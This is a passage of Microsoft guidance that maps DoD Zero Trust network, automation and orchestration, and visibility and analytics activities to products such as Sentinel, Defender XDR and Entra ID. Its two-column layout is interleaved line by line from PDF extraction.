protocols. Basic automation is accepted for policy network security as an extension of
changes including API decision making. Virtual application structure. Group virtual
hosting environments implement micro- machines (VMs) and define network security
segmentation at the host/container level. policies, based on the groups.
- Secure and govern workloads with
recommendations
Outcomes: network-level segmentation

- Accept Automated Policy Changes - Application security groups
- Implement API Decision Points
- Implement NGF/Micro FW/Endpoint Agent in Microsoft Defender for Endpoint
Virtual Hosting Environment Use network protection in Defender for
Endpoint to reduce attack surfaces and
prevent devices from accessing dangerous
domains through applications.
- Protect your network
Target 5.4.2 Application & Device Micro Microsoft Entra ID

segmentation Integrate applications with Microsoft Entra
DoD Organizations utilize Software Defined ID. Govern access with app roles, security
Networking (SDN) solution(s) to establish groups, and access packages.
infrastructure meeting the ZT Target
functionalities: logical network zones, role, See Microsoft guidance 1.2 in User.
attribute, and conditional based access control for
user and devices, privileged access management Conditional Access
services for network resources, and policy-based Design Conditional Access policy sets for
control on API access. dynamic authorization based on user, role,
group, device, client app, identity risk, and
Outcomes: application resource. Use authentication
- Assign Role, Attribute, & Condition Based Access contexts to create logical network zones,
Control to User & Devices based on user and environmental
- Provide Privileged Access Management Services conditions.
- Limit Access on Per Identity Basis for User and
Device See Microsoft guidance 1.8.3 in User.
- Create Logical Network Zones
Privileged Identity Manager
Configure PIM for just-in-time (JIT) access to
privileged roles and Microsoft Entra security
groups.
Azure Virtual Machines and SQL databases

Configure Azure Virtual Machines and SQL
instances to use Microsoft Entra identities
for user sign in.
- Sign in to Windows in Azure
- Sign in to Linuz VM in Azure
- Authentication with Azure SQL
Azure Bastion
Use Bastion to connect securely to Azure
VMs with private IP addresses from the
recommendations
Azure portal, or by using native secure shell

(SSH), or a remote desktop protocol (RDP)
client.
- Bastion
Microsoft Defender for Server

Use just-In-time (JIT) access to VMs to
protect them from unauthorized network
access.
- Enable JIT access on VMs
Advanced 5.4.3 Process Micro segmentation Complete activity 5.4.2.

DoD Organizations utilize existing micro-
segmentation and SDN automation infrastructure Microsoft Defender for Endpoint
enabling process micro-segmentation. Host-level Enable network protection in Defender for
processes are segmented based on security Endpoint to prevent host-level processes
policies and access is granted using real-time and applications from connecting to
access decision making. malicious network domains.
Outcomes:
- Segment Host-Level Processes for Security Continuous access evaluation
Policies Continuous access evaluation (CAE) enables
- Support Real-Time Access Decisions and Policy services like Exchange Online, SharePoint
Changes Online, and Microsoft Teams to subscribe to
- Support Offload of Logs for Analytics and Microsoft Entra events like account
Automation disablement and high-risk detections in
- Support Dynamic Deployment of Segmentation Microsoft Entra ID Protection.
Policy
Target 5.4.4 Protect Data In Transit Microsoft 365

Based on the data flow mappings and monitoring, Use Microsoft 365 for DoD collaboration.
policies are enabled by DoD Organizations to Microsoft 365 services encrypt data at rest
mandate protection of data in transit. Common and in transit.
use cases such as Coalition Information Sharing, - Encryption in Microsoft 365
Sharing Across System Boundaries and Protection
across Architectural Components are included in Microsoft Entra External ID
protection policies. Microsoft 365 and Microsoft Entra ID
enhance coalition sharing with easy
Outcomes: onboarding and managing access for users
- Protect Data In Transit During Coalition in other DoD tenants.
Information Sharing - B2B collaboration
- Protect Data in Transit Across System High - Secure guest sharing
Boundaries
- Integrate Data In Transit Protection Across Configure cross-tenant access and Microsoft
Architecture Components cloud settings to control how users
recommendations
collaborate with external organizations.

- Cross-tenant access
- Microsoft cloud settings

Govern external user access lifecycles with
entitlement management.
- External access with entitlement
management

Use Defender for Cloud to assess
continuously and enforce secure transport
protocols for cloud resources.
- Cloud security posture management
Next steps
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the
automation and orchestration pillar
Article • 04/12/2024
Introduction
User
Device
Data
Network
6 Automation and orchestration

in the automation and orchestration pillar. To learn more, see visibility, automation, and
orchestration with Zero Trust.
6.1 Policy decision point (PDP) and policy

orchestration
Microsoft Sentinel has security orchestration, automation, and response (SOAR) through
cloud-based resources. Automate detection and responses to cyber-attacks. Sentinel
integrates with Microsoft Entra ID, Microsoft Defender XDR, Microsoft 365, Azure, and
non-Microsoft platforms. These extensible integrations enable Sentinel to coordinate
cybersecurity detection and response actions across platforms, increasing the
effectiveness and efficiency of security operations.
ﾉ Expand table

recommendations
Target 6.1.1 Policy Inventory & Development Microsoft Purview Compliance Manager
The DoD enterprise works with the Organizations to Use Microsoft Purview Compliance
catalog and inventory existing Cyber Security Manager to assess and manage
policies and standards. Policies are updated and compliance in a multicloud environment.
created in cross pillar activities as needed to meet - Compliance Manager
critical ZT Target functionality. - Azure, Dynamics 365, Microsoft Purview
- Multicloud support
Outcomes:
- Policies have been collected in reference to Microsoft Defender for Cloud
applicable compliance and risk (e.g. RMF, NIST) Use Defender for Cloud regulatory
- Policies have been reviewed for missing Pillars and compliance features to view and improve
Capabilities per the ZTRA compliance with Azure Policy initiatives in
- Missing areas of policies are updated to meet the a multicloud environment.
capabilities per ZTRA - Improve regulatory compliance
- FedRAMP High Regulatory Compliance
- NIST SP 800-53 Rev. 5 Regulatory
Compliance
- CMMC Regulatory Compliance
Microsoft Sentinel
The Sentinel content hub has solutions to
visualize and measure progress with
domain-specific security requirements.
- Sentinel content hub catalog
- DoD ZT Sentinel workbook
- NIST SP 800-53 solution
Target 6.1.2 Organization Access Profile Conditional Access

DoD Organizations develop basic access profiles for Define standardized DoD policy sets with
mission/task and non-mission/task DAAS access Conditional Access. Include authentication
using the data from the User, Data, Network, and strength, device compliance, also user, and
device pillars. The DoD Enterprise works with the sign-in risk controls.
Organizations to develop an Enterprise Security - Conditional Access
Profile using the existing Organizational security
profiles to create a common access approach to
DAAS. A phased approach can be used in
organizations to limit risk to mission/task critical
DAAS access once the security profile(s) are created.
Outcomes:
recommendations
- Organization scoped profile(s) are created to

determine access to DAAS using capabilities from
User, Data, Network, and Device pillars
- Initial enterprise profile access standard is
developed for access to DAAS
- When possible the organization profile(s) utilizes
enterprise available services in the User, Data,
Network, and Device pillars
Target 6.1.3 Enterprise Security Profile Pt1 Complete activity 6.1.2.

The Enterprise Security profile covers the User, Data,
Network, and Device pillars initially. Existing Microsoft Graph API
Organizational Security Profiles are integrated for Use Microsoft Graph API to manage and
non-mission/task DAAS access following. deploy Conditional Access policies, cross-
tenant access settings, and other Microsoft
Outcomes: Entra configuration settings.
- Enterprise Profile(s) are created to access DAAS - Programmatic access
using capabilities from User, Data, Network, and - Cross-tenant access settings API
Device Pillars - Graph features and services
- Non-mission/task critical organization profile(s)
are integrated with the enterprise profile(s) using a
standardized approach
Advanced 6.1.4 Enterprise Security Profile Pt2 Conditional Access

The minimum number of Enterprise Security Use the Conditional Access insights and
Profile(s) exist granting access to the widest range reporting workbook to see how
of DAAS across Pillars within the DoD Conditional Access policies affect your
Organizations. Mission/task organization profiles organization. If possible, combine policies.
are integrated with the Enterprise Security Profile(s) A simplified policy set is easier to manage,
and exceptions are managed in a risk based troubleshoot, and pilot new Conditional
methodical approach. Access features. You can use Conditional
Access templates to make simpler policies.
Outcomes: - Insights and reports
- Enterprise Profile(s) have been reduced and - Templates
simplified to support widest array of access to DAAS
- Where appropriate Mission/Task Critical profile(s) Use the What If tool and report-only mode
have been integrated and supported Organization to troubleshoot and evaluate new policies.
profiles are considered the exception - Troubleshoot Conditional Access
- Report-only mode
Reduce your organization’s dependence

on trusted network locations. Use country
locations determined by GPS coordinates,
or IP address to simplify location
conditions in Conditional Access policies.
- Location conditions
recommendations
Custom security attributes

Use custom security attributes and
application filters in Conditional Access
policies to scope security attribute
authorization assigned to application
objects, such as sensitivity.
- Filter for apps
6.2 Critical process automation

Microsoft Sentinel automation executes tasks typically performed by Tier-1 security
analysts. Automation rules use Azure Logic Apps, to help you develop detailed,
automated workflows that enhance security operations. For example, incident
enrichment: link to external data sources to detect malicious activity.
ﾉ Expand table
Target 6.2.1 Task Automation Analysis Complete activity 6.1.1.

DoD Organizations identify and enumerate all
task activities that can be executed both Azure Resource Manager
manually and in an automated fashion. Task Use ARM templates and Azure Blueprints to
activities are organized into automated and automate deployments using infrastructure-as-
manual categories. Manual activities are code (IaC).
analyzed for possible retirement. - ARM templates
- Azure Blueprints
Outcomes:
- Automatable tasks are identified Azure Policy
- Tasks are enumerated Organize Azure Policy assignments using its
- Policy Inventory and Development initiative definitions.
- Azure Policy
- Initiative definition

Deploy Defender for Cloud regulatory standards
and benchmarks.
- Assign security standards

Define access-package catalogs to establish
standards for access-package assignments and

reviews. Develop identity lifecycle workflows
using Azure Logic Apps to automate joiner,
mover, leaver, and other automatable tasks.
- Entitlement management resources
- External user access
- Access review deployment
- Create lifecycle workflows
Target 6.2.2 Enterprise Integration & Microsoft Sentinel

Workflow Provisioning Pt1 Connect relevant data sources to Sentinel to
The DoD enterprise establishes baseline enable analytics rules. Include connectors for
integrations within the Security Orchestration, Microsoft 365, Microsoft Defender XDR,
Automation, and Response solution (SOAR) Microsoft Entra ID, Microsoft Entra ID Protection,
required to enable target level ZTA Microsoft Defender for Cloud, Azure Firewall,
functionality. DoD organizations identify Azure Resource Manager, Security events with
integration points and prioritize key ones per Azure Monitor Agent (AMA,) and other API,
the DoD enterprise baseline. Critical Syslog, or Common Event Format (CEF) data
integrations occur meeting key services sources.
enabling recovery and protection capabilities. - Sentinel data connectors
- UEBA in Sentinel
Outcomes:
- Implement full enterprise integrations Microsoft Defender XDR
- Identify key integrations Configure integrations of deployed Microsoft
- Identify recovery and protection Defender XDR components and connect
requirements Microsoft Defender XDR to Sentinel.
- Connect data from Defender XDR to Sentinel
See Microsoft guidance 2.7.2 in Device.
Use Defender XDR to hunt for, investigate, alert,

and respond to threats
- Automated investigation and response
Advanced 6.2.3 Enterprise Integration and Microsoft Defender XDR

Workflow Provisioning Pt2 Microsoft Defender XDR protects identities,
DoD Organizations integrate remaining devices, data, and applications. Use Defender
services to meet baseline requirements and XDR to configure component integrations
advanced ZTA functionality requirements as - XDR tool setup
appropriate per environment. Service - Defender XDR remediations
provisioning is integrated and automated
into workflows where required meeting ZTA Microsoft Sentinel
target functionalities. Connect new data sources to Sentinel and enable
standard and custom analytics rules.
Outcomes: - SOAR in Sentinel
- Services identified
- Service provisioning is implemented
6.3 Machine learning

Microsoft Defender XDR and Microsoft Sentinel use artificial intelligence (AI), machine
learning (ML), and threat intelligence to detect and respond to advanced threats. Use
integrations of Microsoft Defender XDR, Microsoft Intune, Microsoft Entra ID Protection,
and Conditional Access to use risk signals to enforce adaptive access policies.
Learn about the Microsoft security stack and ML, Preparing for Security Copilot in US
Government Clouds .
ﾉ Expand table

recommendations
Target 6.3.1 Implement Data Tagging & Classification ML Microsoft Purview

Tools Configure autolabeling in
DoD Organizations utilize existing Data Tagging and Microsoft Purview for service side
Classification standards and requirements to procure (Microsoft 365) and client side
Machine Learning solution(s) as needed. Machine Learning (Microsoft Office apps), and in
solution(s) is implemented in organizations and existing Microsoft Purview Data Map.
tagged and classified data repositories are used to establish - Sensitivity data labels in Data
baselines. Machine learning solution(s) applies data tags in Map
a supervised approach to continually improve analysis.
See Microsoft guidance 4.3.4 and
Outcome: 4.3.5 in Data.
- Implemented data tagging and classification tools are
integrated with ML tools
6.4 Artificial intelligence

Microsoft Defender XDR and Microsoft Sentinel use artificial intelligence (AI), machine
learning (ML), and threat intelligence to detect and respond to advanced threats.
Integrations between Microsoft Defender XDR, Microsoft Intune, Microsoft Entra ID
Protection, and Conditional Access help you use risk signals to enforce adaptive access
policies.
Learn about the Microsoft security stack and AI, Preparing for Security Copilot in US
Government Clouds .
ﾉ Expand table
Advanced 6.4.1 Implement AI automation Fusion in Microsoft Sentinel

tools Fusion is an advanced multistage attack
DoD Organizations identify areas of detection analytics rule in Sentinel. Fusion is an
improvement based on existing machine ML-trained correlation engine that detects
learning techniques for Artificial Intelligence. multistage attacks, or advanced persistent
AI solutions are identified, procured, and threats (APTs). It identifies anomalous behaviors
implemented using the identified areas as and suspicious activities otherwise difficult to
requirements. catch. Incidents are low-volume, high-fidelity,
and high-severity.
Outcomes: - Advanced multistage attack detection
- Develop AI tool requirements - Customizable anomalies
- Procure and implement AI tools - Anomaly detection analytics rules

Identity protection uses machine-learning (ML)
algorithms to detect and remediate identity-
based risks. Enable Microsoft Entra ID Protection
to create Conditional Access policies for user
and sign-in risk.
- Microsoft Entra ID Protection
- Configure and enable risk policies
Azure DDoS Protection

Azure DDoS Protection uses intelligent traffic
profiling to learn about application traffic and
adjust the profile as traffic changes.
- Azure DDoS Protection
Advanced 6.4.2 AI Driven by Analytics decides Microsoft Sentinel

A&O modifications Enable analytic rules to detect advanced
DoD Organizations utilizing existing machine multistage attacks with Fusion and UEBA
learning functions implement and use AI anomalies in Microsoft Sentinel. Design
technology such as neural networks to drive automation rules and playbooks for security
automation and orchestration decisions. response.
Decision making is moved to AI as much as
possible freeing up human staff for other See Microsoft guidance in 6.2.3 and 6.4.1.
efforts. Utilizing historical patterns, AI will
make anticipatory changes in the environment
to better reduce risk.
Outcome:
- AI is able to make changes to automated

workflow activities
6.5 Security orchestration, automation, and

response (SOAR)
Microsoft Defender XDR has detection and response capabilities with standard and
customizable detections. Extend the capability by using Microsoft Sentinel analytics
rules to trigger security orchestration, automation, and response (SOAR) actions with
Azure Logic Apps.
ﾉ Expand table

recommendations
Target 6.5.1 Response Automation Analysis Microsoft Defender XDR

DoD Organizations identify and enumerate all Microsoft Defender XDR has automatic
response activities that are executed both manually and manual response actions for file and
and in an automated fashion. Response activities are device incidents.
organized into automated and manual categories. - Incidents in Defender XDR
Manual activities are analyzed for possible retirement.
Outcome:
- Automatable response activities are identified
- Response activities are enumerated
Target 6.5.2 Implement SOAR Tools Microsoft Defender XDR

DoD enterprise working with Organizations develops a Use Microsoft Defender XDR standard
standard set of requirements for security response capabilities.
orchestration, automation, and response (SOAR)
tooling to enable target level ZTA functions. DoD See Microsoft guidance 6.5.1.
Organizations use approved requirements to procure
and implement SOAR solution. Basic infrastructure Microsoft Sentinel
integrations for future SOAR functionality is Sentinel uses Azure Logic Apps for
completed. SOAR functionality. Use Logic Apps to
create and run automated workflows
Outcomes: with little to no code. Use Logic Apps to
- Develop requirements for SOAR tool connect to and interact with resources
- Procure SOAR tool outside Microsoft Sentinel.
- Playbooks with automation rules
- Automate threat response with
recommendations
playbooks
Advanced 6.5.3 Implement Playbooks Microsoft Sentinel

DoD organizations review all existing playbooks to Review current security processes and
identify for future automation. Existing manual and use best practices in the Microsoft Cloud
automated processes missing playbooks have Adoption Framework (CAF). To extend
playbooks developed. Playbooks are prioritized for SOAR capabilities, create and customize
automation to be integrated with the Automated playbooks. Start with Sentinel playbook
Workflows activities covering Critical Processes. templates.
Manual processes without playbooks are authorized - Security operations
using a risk based methodical approach. - SOC Process Framework
- Playbooks from templates
Outcomes:
- When possible, automate playbooks based on
automated workflows capability
- Manual playbooks are developed and implemented
6.6 API standardization

Microsoft Graph API has a standard interface to interact with Microsoft cloud services.
Azure API Management can protect APIs hosted by your organization.
ﾉ Expand table

recommendations
Target 6.6.1 Tool Compliance Analysis Microsoft Graph security API

Automation and Orchestration tooling and solutions are Microsoft Defender, Microsoft
analyzed for compliance and capabilities based on the DoD Sentinel, and Microsoft Entra
Enterprise programmatic interface standard and requirements. have documented APIs.
Any more tooling or solutions are identified to support the - Security API
programmatic interface standards and requirements. - Work with Microsoft Graph
- Identity protection APIs
Outcomes:
- API status is determined compliance or noncompliance to API Follow best practices for APIs
standards developed by your
- Tools to be used are Identified organization.
- Application Programming
Interface
- RESTful web API design
recommendations
Target 6.6.2 Standardized API Calls and Schemas Pt1 Complete activity 6.6.1.
The DoD enterprise works with organizations to establish a
programmatic interface (e.g., API) standard and requirements as Azure API Management
needed to enable target ZTA functionalities. DoD Organizations Use Azure API Management as
update programmatic interfaces to the new standard and an API gateway to
mandate newly acquired/developed tools to meet the new communicate with APIs and
standard. Tools unable to meet the standard are allowed by create a consistent access
exception using a risk-based methodical approach. schema for various APIs.
- Azure API Management
Outcomes:
- Initial calls and schemas are implemented Azure Automation tools
- Noncompliant tools are replaced Orchestrate Zero Trust actions
using Azure Automation tools.
- Integration and automation
in Azure
Target 6.6.3 Standardized API Calls and Schemas Pt2 Microsoft Sentinel
DoD organizations complete the migration to the new Use Sentinel as an
programmatic interface standard. Tools marked for orchestration engine to trigger
decommission in the previous activity are retired and functions and execute actions in
are migrated to modernized tools. Approved schemas are automation tools cited in this
adopted based on the DoD Enterprise standard/requirements. document.
- Automate threat response
Outcome: with playbooks
- All calls and schemas are implemented
6.7 Security operations center (SOC) and

incident response (IR)
Microsoft Sentinel is a case management solution to investigate and manage security
incidents. To automate security response actions, connect threat intelligence solutions,
deploy Sentinel solutions, enable user entity behavior analytics (UEBAs), and create
playbooks with Azure Logic Apps.
Learn how to increase SOC maturity, see Sentinel incident investigation and case
management.
ﾉ Expand table
Target 6.7.1 Workflow Enrichment Pt1 Microsoft Sentinel data connectors

DoD enterprise works with organizations to Enrich Sentinel workflows by connecting
establish a cybersecurity incident response Microsoft Defender Threat Intelligence to
standard using industry best practices such as Sentinel.
NIST. DoD Organizations utilize the enterprise - Data connector for Defender Threat
standard to determine incident response Intelligence
workflows. External sources of enrichment are
identified for future integration. Microsoft Sentinel solutions
Use Sentinel solutions to review industry best
Outcomes: practices.
- Threat events are identified - NIST 800-53 solution
- Workflows for threat events are developed - CMMS 2.0 solution
- DoD ZT Sentinel workbooks
- Sentinel content and solutions
Target 6.7.2 Workflow Enrichment Pt2 Microsoft Sentinel

DoD organizations identify and establish Use advanced multistage attack detection in
extended workflows for additional incident Fusion, and UEBA anomaly detection analytics
response types. Initial enrichment data sources rules, in Microsoft Sentinel to trigger
are used for existing workflows. Additional automated security response playbooks.
enrichment sources are identified for future
integrations. See Microsoft guidance 6.2.3 and 6.4.1 in this
section.
Outcomes:
- Workflows for Advanced threat events are To enrich Sentinel workflows, connect Microsoft
developed Defender Threat Intelligence and other threat
- Advanced Threat events are identified intelligence platforms solutions to Microsoft
Sentinel.
- Connect threat intelligence platforms to
Sentinel
- Connect Sentinel to STIX/TAXII threat
intelligence feeds
Advanced 6.7.3 Workflow Enrichment Pt3 Microsoft Sentinel

DoD organizations use final enrichment data Add entities to improve threat intelligence
sources on basic and extended threat response results in Sentinel.
workflows. - Tasks to manage incidents in Sentinel
- Enrich entities with geolocation data
Outcomes:
- Enrichment data has been identified Enrich investigation workflows and manage
- Enrichment data is integrated into workflows incidents in Sentinel.
- Tasks to manage incidents in Sentinel
- Enrich entities with geolocation data
Advanced 6.7.4 Automated Workflow Microsoft Sentinel playbooks

DoD organizations focus on automating Sentinel playbooks are based on Logic Apps, a
Security Orchestration, Automation, and cloud service that schedules, automates, and
Response (SOAR) functions and playbooks. orchestrates tasks and workflows across
Manual processes within security operations enterprise systems. Build response playbooks
are identified and fully automated as possible. with templates, deploy solutions from the
Remaining manual processes are Sentinel content hub. Build custom analytics
decommissioned when possible or marked for rules and response actions with Azure Logic
exception using a risk based approach. Apps.
- Sentinel playbooks from templates
Outcomes: - Automate threat response with playbooks
- Workflow processes are fully automated - Sentinel content hub catalog
- Manual Processes have been identified - Azure Logic Apps
- Remaining Processes are marked as
exceptions and documented
Next steps
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the visibility
and analytics pillar
Article • 04/12/2024
Introduction
User
Device
Data
Network
7 Visibility and analytics

in the visibility and analytics pillar. To learn more, see Visibility, automation, and
orchestration with Zero Trust.
7.1 Log all traffic

Microsoft Sentinel is a scalable, cloud-native security information event management
(SIEM) system. Also, Sentinel is a security orchestration, automation, and response
(SOAR) solution to handle large data volumes from various sources. Sentinel data
connectors ingest data across users, devices, applications, and infrastructure, on-
premises and in multiple clouds.
ﾉ Expand table

recommendations
Target 7.1.1 Scale Considerations Microsoft Sentinel

DoD organizations conduct analysis to determine Sentinel uses a Log Analytics workspace
current and future needs of scaling. Scaling is to store security log data for analysis. Log
analyzed following common industry best practice Analytics is a platform as a service (PaaS)
methods and ZT Pillars. The team works with existing in Azure. There’s no infrastructure to
Business Continuity Planning (BCP) and Disaster manage or build.
Recovery Planning (DPR) groups to determine - Workspace architecture
distributed environment needs in emergencies and as - Workspace architecture best practices
organizations grow. - Reduce costs for Sentinel
Outcomes: Azure Monitor Agent

- Sufficient infrastructure in place Stream logs using Azure Monitor Agent
- Distributed environment established for virtual machines (VMs) also network
- Sufficient bandwidth for network traffic appliances on-premises and in other
clouds.
- Windows Security Events with AMA
- Stream logs in CEF and Syslog format
- Data collection
- Azure Monitor Agent Performance
Benchmark
- Scalable ingestion
Networking infrastructure
Ensure networking infrastructure meets
bandwidth requirements for Microsoft
365 and cloud-based security monitoring
for on-premises servers.
- Microsoft 365 network connectivity
- Network planning and performance
tuning
- Azure ExpressRoute
- Connected machine agent network
requirements
Business continuity management in

Azure
Azure has mature business-continuity
management programs for multiple
industries. Review business continuity
management and division of
responsibilities.
- Business continuity management
- Reliability guidance
recommendations
Target 7.1.2 Log Parsing Microsoft Sentinel data connectors

DoD Organizations identify and prioritize log and Connect relevant data sources to
flow sources (e.g., Firewalls, Endpoint Detection & Sentinel. Enable and configure analytics
Response, Active Directory, Switches, Routers, etc.) rules. Data connectors use standardized
and develop a plan for collection of high priority logs log formats.
first then low priority. An open industry-standard log - Monitor Zero Trust security
format is agreed upon at the DoD Enterprise level architectures
with the Organizations and implemented in future - Create Sentinel custom connectors
procurement requirements. Existing solutions and - Logs Ingestion API in Azure Monitor
technologies are migrated to the format on a
continual basis. See Microsoft guidance 6.2.2 in
Automation and orchestration.
Outcomes:
- Standardized log formats Standardize logging with Common Event
- Rules developed for each log format Format (CEF), an industry standard used
by security vendors for event
interoperability between platforms. Use
Syslog for systems that don't support
logs in CEF.
- CEF with Azure Monitor connector for
Sentinel
- Ingest Syslog and CEF messages to
Sentinel with Azure Monitor
Use the Advanced Security Information

Model (ASIM) (Public preview) to collect
and view data from multiple sources with
a normalized schema.
- ASIM to normalize data
Target 7.1.3 Log Analysis Complete activity 7.1.2.

Common user and device activities are identified and
prioritized based on risk. Activities deemed the most Microsoft Defender XDR
simplistic and risky have analytics created using Microsoft Defender XDR is a unified pre-
different data sources such as logs. Trends and and post-breach enterprise defense suite
patterns are developed based on the analytics that coordinates detection, prevention,
collected to look at activities over longer periods of investigation, and response natively
time. across endpoints, identities, email, and
applications. Use Defender XDR to
Outcomes: protect against and respond to
- Develop analytics per activity sophisticated attacks.
- Identify activities to analyze - Investigate alerts
- Zero Trust with Defender XDR
- Defender XDR for US government
recommendations
Microsoft Sentinel
Develop custom analytics queries and
visualize collected data using workbooks.
- Custom analytics rules to detect threats
- Visualize collected data
7.2 Security information and event

management
Microsoft Defender XDR and Microsoft Sentinel work together to detect, alert, and
respond to security threats. Microsoft Defender XDR detects threats across Microsoft
365, identities, devices, applications, and infrastructure. Defender XR generates alerts in
the Microsoft Defender portal. Connect alerts and raw data from Microsoft Defender
XDR to Sentinel and use advanced analytics rules to correlate events and generate
incidents for high fidelity alerts.
ﾉ Expand table
Target 7.2.1 Threat Alerting Pt1 Microsoft Defender XDR

DoD Organizations utilize existing Security Microsoft Defender XDR has alerts for threats
Information and Event Management (SIEM) detected across multi-platform endpoints,
solution to develop basic rules and alerts for identities, email, collaboration tools,
common threat events (malware, phishing, etc.) applications, and cloud infrastructure. The
Alerts and/or rule firings are fed into the platform aggregates related alerts into
parallel "Asset ID & Alert Correlation" activity to incidents automatically to streamline security
being automation of responses. review.
- Investigate alerts
Outcome:
- Rules developed for threat correlation Microsoft Sentinel analytics rules
Enable standard analytics rules for connected
data sources and create custom analytics rules
to detect threats in Sentinel.
Target 7.2.2 Threat Alerting Pt2 Microsoft Sentinel threat intelligence

DoD Organizations expand threat alerting in Connect cyber threat intelligence (CTI) feeds to
the Security Information and Event Sentinel.
Management (SIEM) solution to include Cyber - Threat intelligence
Threat Intelligence (CTI) data feeds. Deviation
and anomaly rules are developed in the SIEM to See Microsoft guidance 6.7.1 and 6.7.2 in
detect advanced threats. Automation and orchestration.
Outcome: Microsoft Sentinel solutions

- Develop analytics to detect deviations Use analytics rules and workbooks in the
Microsoft Sentinel content hub.
- Sentinel content and solutions
Microsoft Sentinel analytics rules

Create scheduled analytics rules to detect
deviations, create incidents, and trigger security
orchestration, automation, and response
(SOAR) actions.
- Custom analytics rules to detect threats
Advanced 7.2.3 Threat Alerting Pt3 Microsoft Sentinel data connectors

Threat Alerting is expanded to include Connect Microsoft Defender XDR to Sentinel to
advanced data sources such as Extended aggregate alerts, incidents, and raw data.
Detection & Response (XDR), User & Entity - Connect Defender XDR to Sentinel
Behavior Analytics (UEBA), and User Activity
Monitoring (UAM). These advanced data Microsoft Sentinel customizable anomalies
sources are used to develop improved Use Microsoft Sentinel customizable anomaly
anomalous and pattern activity detections. templates to reduce noise with anomaly
detection rules
Outcomes: - Customizable anomalies to detect threats
- Identify triggering anomalous events
- Implement triggering policy Fusion in Microsoft Sentinel
The Fusion engine correlates alerts for
advanced multi-stage attacks.
- Fusion engine detections
See Microsoft guidance 6.4.1 in Automation

and orchestration.
Target 7.2.4 Asset ID and Alert Correlation Microsoft Defender XDR

DoD Organizations develop basic correlation Microsoft Defender XDR correlates signals
rules using asset and alert data. Response to across multi-platform endpoints, identities,
common threat events (e.g., malware, phishing, email, collaboration tools, applications, and
etc.) are automated within the Security cloud infrastructure. Configure self-healing with
Information and Event Management (SIEM) Microsoft Defender automated investigation
solution. and response capabilities.
- Microsoft Defender XDR
Outcome: - Automated investigation and response
- Rules developed for asset ID based responses
Microsoft Sentinel entities
Alerts going to, or generated by Sentinel,
contain data items Sentinel classifies into

entities: user accounts, hosts, files, processes, IP
addresses, URLs. Use entities pages to view
entity information, analyze behavior, and
improve investigations.
- Classify and analyze data using entities
- Investigate entity pages
Target 7.2.5 User/Device Baselines Microsoft Sentinel data connectors

DoD Organizations develop user and device Establish a data ingestion baseline for Sentinel.
baseline approaches based on DoD enterprise At a minimum, include Microsoft Entra ID and
standards for the appropriate pillar. Attributes Microsoft Defender XDR connectors, configure
utilized in baselining are pulled from the standard analytics rules, and enable user entity
enterprise wide standards developed in cross behavior analytics (UEBA).
pillar activities. - Connect Defender XDR to Sentinel
- Enable UEBA
Outcome:
- Identify user and device baselines Azure Lighthouse
Configure Azure Lighthouse to manage
Sentinel workspaces across multiple tenants.
- Extend Sentinel across workspaces and
tenants
- Multitenant operations for defense
organizations
7.3 Common security and risk analytics

Microsoft Defender XDR has standard threat detections, analytics, and alerting. Use
Microsoft Sentinel customizable near-real-time analytics rules to help correlate, detect,
and generate alerts for anomalies across connected data sources.
ﾉ Expand table
Target 7.3.1 Implement Analytics Tools Microsoft Defender XDR and Microsoft
DoD Organizations procure and implement Sentinel
basic Cyber-focused analytics tools. Analytics Configure integration of Microsoft Defender
development is prioritized based on risk and XDR and Sentinel.
complexity looking for easy impactful analytics - Microsoft Defender XDR
first. Continued analytics development focuses - Sentinel and Defender XDR for Zero Trust
on Pillar requirements to better meet reporting
needs.
Outcomes:
- Develop requirements for analytic
environment
- Procure and implement analytic tools
Target 7.3.2 Establish User Baseline Microsoft Defender XDR

Behaviors Microsoft Defender XDR integrated automated
Utilizing the analytics developed for users and detection and response is a frontline of defense.
devices in a parallel activity, baselines are The guidance in User and Device pillars
established in a technical solution. These establishes baseline behavior and enforces
baselines are applied to an identified set of policies with Microsoft Defender XDR signals in
users based on risk initially and then expanded Microsoft Intune (device compliance) and
to the larger DoD Organization user base. The Conditional Access (compliant device and
technical solution used is integrated with identity risk).
machine learning functionality to begin
automation. See Microsoft guidance in User and Device.
Outcomes: Microsoft Sentinel analytics rules

- Identify users for baseline Use Sentinel to correlate events, detect threats,
- Establish ML-based baselines and trigger response actions. Connect relevant
data sources to Sentinel and create near-real-
time analytics rules to detect threats during data
ingestion.
- Detect threats
Microsoft Sentinel notebooks

Build a customized ML models to analyze
Sentinel data using Jupyter notebooks and the
bring-your-own-Machine-Learning (BYO-ML)
platform.
- BYO-ML into Sentinel
- Jupyter notebooks and MSTICPy
7.4 User and entity behavior analytics

Microsoft Defender XDR and Microsoft Sentinel detect anomalies using user entity
behavior analytics (UEBA). Detect anomalies in Sentinel with Fusion, UEBA, and machine-
learning (ML) analytics rules. Also, Sentinel integrates with Azure Notebooks (Jupyter
Notebook) for bring-your-own-Machine-Learning (BYO-ML) and visualization
functionality.
ﾉ Expand table

recommendations
Target 7.4.1 Baseline and Profiling Pt1 Microsoft Defender XDR

Utilizing the analytics developed for users and devices Visit the Microsoft Defender portal for
in a parallel activity, common profiles are created for a unified view of incidents, alerts,
typical user and device types. Analytics taken from reports, and threat analytics. Use
baselining are updated to look at larger containers, Microsoft Secure Score to assess and
profiles. improve security posture. Create
custom detections to monitor and
Outcomes: respond to security events in Microsoft
- Develop analytics to detect changing threat Defender XDR.
conditions - Microsoft Defender portal
- Identify user and device threat profiles - Assess security posture with Secure
Score
- Custom detections
Microsoft Sentinel
Use workbooks to visualize and
monitor data. Create custom analytics
rules and enable anomaly detection to
identify and alert for changing threat
conditions.
- Visualize and monitor data
- Custom analytics to detect threats
- Customize anomalies to detect
threats
Advanced 7.4.2 Baseline and Profiling Pt2 Microsoft Defender XDR

DoD Organizations expand baselines and profiles to Discover and secure unmanaged
include unmanaged and nonstandard device types devices with Microsoft Defender for
including Internet of Things (IoT) and Operational Endpoint.
Technology (OT) through data output monitoring. - Device discovery
These devices are again profiled based on standardized - Tenant attach to support endpoint
attributes and use cases. Analytics are updated to security policies from Intune
consider the new baselines and profiles accordingly - Secure managed and unmanaged
enabling further detections and response. Specific risky devices
users and devices are automatically prioritized for - Authenticated network device scans
increased monitoring based on risk. Detection and - Unmanaged Windows device
response are integrated with cross pillar functionalities. authenticated scan
Outcomes: Microsoft Defender for IoT

- Add threat profiles for IoT and OT devices Deploy Defender for IoT sensors in
- Develop and extend analytics operational technology (OT) networks.
